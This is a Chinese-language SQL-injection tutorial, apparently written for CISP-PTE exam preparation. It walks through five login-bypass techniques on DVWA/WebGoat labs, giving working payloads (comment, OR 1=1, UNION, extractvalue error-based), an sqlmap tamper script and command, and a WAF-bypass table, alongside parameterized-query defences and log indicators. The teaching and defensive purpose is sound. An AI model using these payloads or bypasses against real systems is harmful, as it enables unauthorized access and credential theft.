## 1. 项目背景与核心挑战 SQL注入作为Web安全领域的经典漏洞类型,在CISP-PTE认证考试中占据重要地位。这个实验环境模拟了真实场景下的认证绕过场景,要求通过五种不同技术手段实现"万能密码"攻击。我在实际渗透测试中发现,很多防御措施仅针对单一攻击方式,掌握多维度突破手法对安全人员至关重要。 ## 2. 实验环境搭建要点 ### 2.1 靶机配置建议 使用DVWA或WebGoat搭建环境时,建议将安全级别设为"low",关闭WAF规则。关键配置项包括: - MySQL的`sql_mode`需包含`NO_BACKSLASH_ESCAPES` - PHP的`magic_quotes_gpc`设为off - 确保错误回显开启(方便初学者观察注入结果) ### 2.2 登录接口特征分析 典型漏洞登录页的SQL查询模板: ```sql SELECT * FROM users WHERE username='$user' AND password='$pass' LIMIT 1注入点通常出现在$user和$pass两个参数,需要测试以下特征:
- 单引号闭合情况
- 布尔盲注响应差异
- 报错信息泄露程度
3. 五种攻击方法深度解析
3.1 经典万能密码注入
最基础的payload构造:
admin' --原理分析:单引号闭合username字段,--注释掉后续密码验证。实际执行的SQL变为:
SELECT * FROM users WHERE username='admin' -- ' AND password='xxx' LIMIT 1注意:部分数据库需要空格 after
--,MySQL中可直接连用
3.2 布尔逻辑绕过
利用OR逻辑构造永真条件:
admin' OR 1=1 --变体形式:
' OR '1'='1适用于密码字段的注入场景,需注意不同数据库的布尔表达式差异。
3.3 联合查询注入
通过UNION SELECT获取凭证:
admin' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99' --其中MD5值对应password的哈希。关键步骤:
- 确定字段数(通过ORDER BY测试)
- 匹配目标表的字段类型
- 伪造管理员记录
3.4 报错注入利用
借助extractvalue函数触发报错泄露信息:
admin' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 1))) --适合无回显但有错误信息输出的场景,需注意:
- 报错长度限制(32字符截断问题)
- 权限要求(需SELECT权限)
3.5 sqlmap自动化攻击
编写tamper脚本处理特殊过滤:
#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): return payload.replace("'", "\\'") if kwargs.get('escape') else payload使用命令:
sqlmap -u "http://target/login.php" --data="user=admin&pass=test" \ --tamper=escape_quote.py --level=5 --risk=34. 防御方案与检测技巧
4.1 安全编码实践
- 参数化查询(PHP示例):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?"); $stmt->execute([$user, $pass]);- 输入验证正则:
if(!preg_match('/^[a-z0-9_]{3,16}$/i', $user)){ die('Invalid username'); }4.2 WAF绕过特征
常见过滤规则及绕过方法:
| 过滤规则 | 绕过手法 |
|---|---|
| 空格过滤 | 使用/**/或%09(TAB)替代 |
| 关键词拦截 | 大小写混写/SELECT/!50000SELECT/ |
| 单引号检测 | 使用CHAR(39)或十六进制编码 |
4.3 日志监控指标
建议关注的攻击特征:
- 单请求中超过3个特殊字符(',--,#等)
- 短时间内大量401响应后出现200
- User-Agent包含sqlmap等工具标识
5. 实战经验与排错记录
5.1 常见报错处理
问题1:payload执行后页面空白
排查:检查是否有语法错误,特别是引号闭合
解决:改用URL编码形式提交(admin%27%20--%20)问题2:sqlmap检测不到注入点
排查:确认Content-Type是否正确(需为application/x-www-form-urlencoded)
解决:添加--headers="Content-Type: application/x-www-form-urlencoded"
5.2 效率优化技巧
使用Burp Suite的Intruder模块快速测试payload:
- 配置Cluster bomb攻击类型
- 设置payload位置为username和password参数
- 加载预定义的SQL注入字典
手工注入时推荐浏览器插件:
- HackBar(快速构造URL编码)
- Max HacBar(支持多层级payload生成)
记忆关键ASCII码值:
- 单引号:0x27
- 空格:0x20
- 注释符:0x2d2d
在最近一次企业渗透测试中,通过组合使用报错注入和布尔盲注,成功绕过了某CRM系统的登录限制。实际场景中往往需要混合多种技术,建议先手工测试确定漏洞存在,再用工具批量利用。